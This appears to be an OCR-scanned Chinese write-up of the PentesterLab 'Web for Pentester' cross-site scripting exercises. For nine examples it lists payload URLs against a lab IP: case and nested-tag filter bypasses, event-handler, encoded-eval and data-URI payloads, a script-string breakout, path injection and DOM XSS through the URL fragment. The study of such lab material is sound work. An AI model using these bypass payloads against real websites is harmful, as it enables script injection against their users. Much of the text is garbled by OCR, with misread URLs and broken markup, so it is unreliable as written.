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Example 1

http://192.168.219.136/xss/examplel.php?name=hacker

[] Post data [| Referrer 4™ OxHEX ™» 4% %URL ™ % BASESd

Services® | [Mo information available]

PentesterLab.com Home

Hello hacker
© PentesterLab 2013

RSB HEIA, URLAHname 7 BLEZEEM T &R, BnameT B,

Payload :

http://192.168.219.136/xss/example1.php?name=<script>alert(1)</script>


https://blog.csdn.net/ditanji3425
http://www.cnblogs.com/liliyuanshangcao/p/11303263.html

http://192,168.219.136/xss/examplel.php?name= = script=alert(1) < fscript=

Post data Referrer 4 OxHEX 3 & %URL 3 & BASEGd I | fnseit string fo replace| | Insert replacing string Replace

Services™

[Ne information available]

Example 2
FBI1AEARL, (R T MR FRFE IEN S, I <script></script>FFF &

http://192.168.219.136/xs5/example2.php?name= «script=alert(1) < /script=

Post data Referrer 4 OxHEX ™% 4% oURL ™ &% PASEGd ™8

Services™ | [MNo information available]

Hello alert(1)
© PentesterLab 2013

Paload1:

http://192.168.219.136/xss/example2.php?name=<scri<script>pt>alert(1)</scri</script>pt>



http://192.168.219.136/xss/example2.php?name= =scri=script=pt=alert(1) < /scri=/script=pt=

Post data Referrer @ OxHEX ™ &% %URL ¥ @ BASE6d I | nsert string fo rep;"afe| ‘Fnserf replacing s

[No information available]

ServicesT

Paload?2:

http://192.168.219.136/xss/example2.php?name=<Script>alert(1)</sCript>

http://192.168.219.136/xss/example2.php?name= =Script=alert(1) =/sCript=

Post data Referrer @ OxHEX ™ &% %URL 3 @ BASE6d I | nsert string fo rep;"afe| ‘Fnserf replacing strin

Services™ | [No information available]

Example 3



http://192.168.219.136/xss/example3.php?name= =script=alert(1) = fscript=

Post data Referrer ¥ OxHEX ™ & oUURL ™» & BASEGd Insert

Services™ | [No information available]

Hello alert(1)
© PentesterLab 2013

IR DE, 15 F B2/ payload2 Foik B 2l

http://192.168.219.136/xss/example3.php?name==Script=alert(1) = /sCript=

Post data Referrer 4% OxHEX ™» &% %URL @ & BASEGd ™ ‘j’nseff string to repls

Sen.rices'| | [No information available]

Hello alert(1)
© PentesterLab 2013

¥ B2/ payload 1 S Zh S i U8, W EIHIN T —BRPNEEE, ERZEIRZCERETT L9k
Payload1:
http://192.168.219.136/xss/example3.php?name=<scri<script>pt>alert(1)</scri</script>pt>

http://192.168.219.136/xss/example3.php?name= =scri=script=pt=alert(l) =/scri=</script=pt=

[[] Post data Referrer @ OxHEX ™ &% %URL ¥ @ BASE6d M | nsert string fo rep;"afe| ‘Fnserf replacing string

Services™ | [No information available]

BHE M7, BRAEMscripti4

Payload2:



http://192.168.219.136/xss/example3.php?name=<imgq src=x onerror=alert(1)>

http://192.168.219.136/xss/example3.php?name==img src=x onerror=alert{1) =

Post data Referrer @ OxHEX 3 &% %URL 3 & BASEGd I | fnsertf string fo repface‘

Insert replacing

ServicesT | [No information available]

Example 4

http://192.168.219.136/xss/exampled.php?name= =script=alert{1) < /script=

Post data Referrer % OxHEX ™ &% %URL ™ & BASEGA M | [nsert

[No information available]

error

ServicesT

REEA Aerror, MK HApayload, &I R Epayloadfl & script ZAF st &4, 8 Foscript = R/F i A I8 IE
Payload1:

http://192.168.219.136/xss/example4.php?name=<img src=x onerror=alert(1)>



http:/f192,168.219.136/xss/exampled.php?name= =img src=x onerror=alert(1)=

Post data Referrer 4 OxHEX 3 @& %URL 3 & BASEGd 3B | jnsert string to repfafe‘ |.i'nserfrepfar.-'}1g

Services™ | [No information available]

Payload2:
http://192.168.219.136/xss/example4.php?name=<BODY ONLOAD=alert('’XSS')>

http:/192,168.219.136/xss/exampled.php?name=<BODY ONLOAD=alert['X55") =

Post data Referrer 4 OxHEX 3 @& %URL 3 & BASEGd 3B | jnsert string to repfafe‘ |.i'nserfrepfa|

Services™ | [No information available]

PRI A o

Example 5



http://192.168.219.136/xss/example5.php?name= =script=alert(1) < /script =

Post data Referrer ™ OxHEX ™ &% 9%URL ™ & BASEGY P [

Services™ | [No information available]

error

http://192.168.219.136/xs5/exampleS.php?name= <img src=x onerror=alert(1)=

Post data Referrer ™ OxHEX ™» 4% 9%GURL ™ & BASEGd P

Services™ | [No information available]

error

WK b ikpayload ks, SR U T alert=AF, P48 A htmSE A 4% 5 35 2R e
http://192.168.219.136/xss/example5.php?name=<img src=x onerror=alert(1)>
http://192.168.219.136/xss/example5.php?name=<script>alert(1)</script>

f# FevalihiT 4w il 51t

Payload1(+##/)

http://192.168.219.136/xss/exampleb.php?name=<script>eval (String.fromCharCode(97, 108, 101, 114, 116,
40, 49, 41))</script>

http://192.168.219.136/xss/example5.php?name= =script=eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41}) =/script=

Insert repla

Post data Referrer @ OxHEX 3 &% %URL 3 & BASEGd I | [nserf string fo repface‘

ServicesT | [No information available]




Payload2 (4 v#i#))

http://192.168.219.136/xss/exampleb.php?name=<script>eval ("\x61\x6¢c\x65\x72\x 74\x28\x31\x29") </script>

http://192.168.219.136/xss/example3.php?name= =script = eval("x6 1\ w6\ B3\ 7 2\ T\ w2 B\ 31\x29") = fscript=

Post data Referrer @ OxHEX 3 &% %URL 3 & BASEGd I | [nserf string fo repface‘

ServicesT | [No information available]

Payload3
http://192.168.219.136/xss/exampleb.php?name=<script>eval (\u006 1\u006c\u0065\u0072\u0074(1))</script>
OR

http.//192.168.219.136/xss/exampleb.php?name=
<script>eval ("\u0061\u006c\u0065\u007 2\u0074\u0028\u0031\u0029')</script>

'http:ﬂ192.168.2 19.136/xss/exampleS.php?name= =script=eval u0061\u006c,u0065,u007 24u0074(1)) = /script=

Post data Referrer @ OxHEX ™ &% %URL ¥ @ BASE6d I | nsert string fo rep;"ace|

Insert replac

ervicest | [No information available]




http://192.168.219.136/xss/example5.php?name= =script=eval (" u0061\u006c\u0065 w007 2300074\ u0028\u0031\u0029") < fscript=

Post data Referrer @ OxHEX ™ &% %URL ¥ @ BASE6d I | nsert string fo rep;"afe| Insert replac

[No information available]

servicesT

Payload4 ( (BASEG44ifi%) ¥ <<script>alert(1)</script>#4-base644mfi% A :
PHNjcmiwdD5hbGVydCgxKTwvc2NyaXBOPg==

http://192.168.219.136/xss/example5.php?name=<iframe
src="data:text/html;base64, PHNjcmIwdD5hbGVydCgxKTwvc2NyaXBOPg=="></iframe>

& Load URL | http://192.168.219.136/xss/example5.php?name= ziframe src="data:text/html:baset4, PHNjcmlwdDShbGVydCgxKTuwwc2NyaXB0Pg=="=> =fiframe=
B split URL

+ Execute

Post data Referrer 4 OxHEX ™ & lRL ™ & [ASERY Insert string to r'ep;"afe| Insert replacing string

AETCRAFT - Services- | [Mo information available]

Payload5 (prompt)

http://192.168.219.136/xss/exampleb.php?name=<img src=x onerror=prompt(1)>



Load URL [ http://192.168.219.136/xss/exampleS.php?name=<img src=x onerror=prompt(1)=
Split URL

Execute

Post data Referrer @ OxHEX 3 &% %URL 3B & BASEGd 3B | jnsert string to repfafe‘ |.i'nserfrf

TCRAFT - Servicesw | [No information available]

Example 6

¥ iR ipayloadil ik TovE I #E , WHERRE “ ;7

Load URL /'| http://192.168.219.136/xss/exampled.php?name= =script=eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script=

Split URL

Execute

Post data Referrer @ OxHEX ¥ &% %URL ™ &% BASEG4 T |fnserf string to rep;"afe| ‘Fnserf replacing

FCRAFT - Services™ | [MNo information available]

Hello *;
© PentesterLab 2013

Load URL | http://192.168.219.136/xss/example6.php?name= <scri <script=pt=alert(1) =/scri = /script= pjkgkhhhhhhhhhhhhhhht =
Split URL

Execute

Post data Referrer @ OxHEX ¥ &% %URL ™» &% BASEG4 T ‘fnserf string to f’ep;"ace‘ |fnserfrep;‘f

FCRAFT - Servicest | [No information available]

Hello pjkgkhhhhhhhhhhhhhhht=";
© PentesterLab 2013

R IIB [Fl payload 5 I ) 574 &
Payload1

http://192.168.219. 136/xss/exampleb.php ?name=<scri<script>pt>alert(1)
</scri</script>pjkgkhhhhhhhhhhhhhhht><script>alert(1)</script>



Load URL | http://192.168.219.136/xss/exampled.php?name= <scri <script= pt=alert(1) </scri </script=pjkgkhhhhhhhhhhhhhhht= <script=alert(1) < /script=
Split URL

Execute

Past data Referrer @ OxHEX ¥ & %URL ¥ & BASEGY I | [nsest siring fo rep;"afe‘
|[ETCRAFT - Services-

Insert replacing string

[No infarmation available]

RNTRBEAKEE, # 8 Payload{d A<script>alert(1)</script>, &FH M IR

/ar
<{a c¢lass="brand” href="https://pentesterlab. com/” >PentesterLab. comd/a>
<{div class="nav-collapse collapse™>
<ul class="nav">
<1i class="active”»<a href="/"Home</a></1i>
</ul>
{dive < — nav-collapss —>
</divy
</divy
</divy

- o~ . o~
<div class="contalner™ >

Hellao
<script>

var §a= “{zcriptralert(1)</script>”;
{fscript>

RIRZHIARTARN T R Ra, #igiE
Payload2

http://192.168.219.136/xss/exampleb.php?name=</script><script>alert(1),"



Load URL | http://192.168.219.136/xss/example6.php?name= < /script= = script=alert{1);"
Split URL

Execute

Post data Referrer @ OxHEX 3 &% %URL 3B & BASEGd 3B | jnsert string to repfafe‘[

TCRAFT - Servicesw | [Mo information available]

Example 7
f§ Fil </script><script>alert(1);" Bk 3 EH, HEEFENRG
e e e e

<2 class="brand” href="https://pentesterlsb. com/ >Pentesterlab. com</a>
<div class="nav—collapse collapse”>
<ul eclass="nav’>
€1i class="sctive”">{a href="/">Home{/ a><¢/1i>
<fuls
</ divy
<fdivy
<fdivy
</ divy

<div elass="container”>

Hello
{scriptlr

wvar $a= "&lt:/scriptigt;&lt;scriptipt alert(1) &quot:’ :
< seripty

{footers
{pr&copr: Pentesterlab 2013</p>

(= T - I = T S - I S Ve = RS = VR S I =

RIXF <> T 8 0, BEAGETERESS <7 R E
Payload

http://192.168.219.136/xss/example?.php?name="; alert(1);’
OR (H#IR#H 5 H K85 5)
http://192.168.219.136/xss/example?.php?name="; alert(1)//



http://192.168.219.136/xs5/example7.php?name="; alert(1);'

Post data Referrer 4 OxHEX 3 4% %URL 3 & BASEGd 3B | [nsest string to r'ep;"afe| ‘Inserf rep

[Mo information available]

yervices™

<div class="container”>

Hello

{script>
war §Sa=

¢/scTipt?

13

coalert(1):7:

{footer>
<pr&copr; Pentesterlab 20134,/ p»
</ footer?

fdivy

Example 8

{URL [ http://192.168.219.136/xss/exampled.php
:URL

cute

Post data Referrer ¥ OxHEX ™% &% GURL ™ & BAS

FT - Servicesw | [No information available]

© PentesterLab 2013

FHERRWMAET, FR2EEMEE A, A <script>alert(1)</script>



L [ http://192.168.219.136/xss/example8.php
L

Post data Referrer % OxHEX % % %URL ¥ &% BASEGD ™ | fnserf siving fo

name==script=alert(1) =/script=&submit=3E6%8F%90%E4%:BAYAL%ESIOFIASTEBAFIEAZ

- Services | [No information available]

HELLO <script=alert(1 }=/script=

© PentesterLab 2013

THE, EFEIRAD

HELLD &1t:scriptiet:alert(1)81t:/ceriptiet :<form method="POST ™ action="/xss/exa=mpled. php’>
Your name:<input type="text” name="name”}
¢input trpe="submit’ name="submit”:
{footer>
<pr&copr; Pentesterlab 20134,/ p»
</footer>

RFESHEFENL, ZRAEMREEHRKT, BESEERRNER KA HEWHA, —IFHRERME T, WWHiT
i

YR A 7E T/xss/example8.php, it 7E /xss/example8. php/[XSS_PAYLOADIVE A payload Ay LSRN 3 &
Payload

http://192.168.219. 136/xss/example8.php/"><script>alert(1)</script>

Load URL | http://192.168.219.136/xss/example8.php/" = =script=alert(1) </script=
Split URL /l

Execute

Post data Referrer 4 OxHEX 3 & %URL 3 & BASEGd 3B | [nsest string to r'ep;"afe| ‘Inserf repl
ETCRAFT - Services~

[Mo information available]

Example 9



| Load URL | hitp://192.168.219.136/xss/exampled.php#hacker
Split URL

Execute

[[] Post data [] Referrer 4 OxHEX » &% 3%URL ™ &% BA

JETCRAFT - Services | [Mo information available]

PentesterLab.com Home

hacker
© PentesterLab 2013

{script>
decument. write(lecaticon. hash. substring (1)) :
</ seripts
{footer>
{pr&copr: Pentesterlab 20134/ p>
< footery

RAK R B REBOLIEEAEKER), REHREM2EIE, RERKMAGRERET T

Payload
http://192.168.219. 136/xss/example9.php?<script>alert(1)</script>

- | €] http://192.168.219.136/xss/exampled.php# <script=alert(1) < /script=

e B EWEiE v g 234558 | BE B 5 g 8=

sterLab » Web for Pentester

PentesterLab.com Home

FEmmaas | X

E: ARFEEHEPdomxssHIfERN, EFFFHEFAPATLIE? M, WRMA? FEMRFSSLH, EHRUMR
FI#, AT LAY B SERR B R K xss A I RIZBRLBIR 548, X B W UL BB #domxss, SKhr EAEEMRS
FHMENT, S _E RN B YA B dom AT B AT ASE AR, IX R domxss 5 HeAtxss e A< i ) (X 1

HEE XEA R
FA fied Yo 28 7T DL 50 B Th
A2 BR 0 W5 2 AR 2 5 < B89 : %3 Cscript%3Ealert(1)%3C/script%3E

3, T:https://www.cnblogs.com/liliyuanshangcao/p/11303263.html
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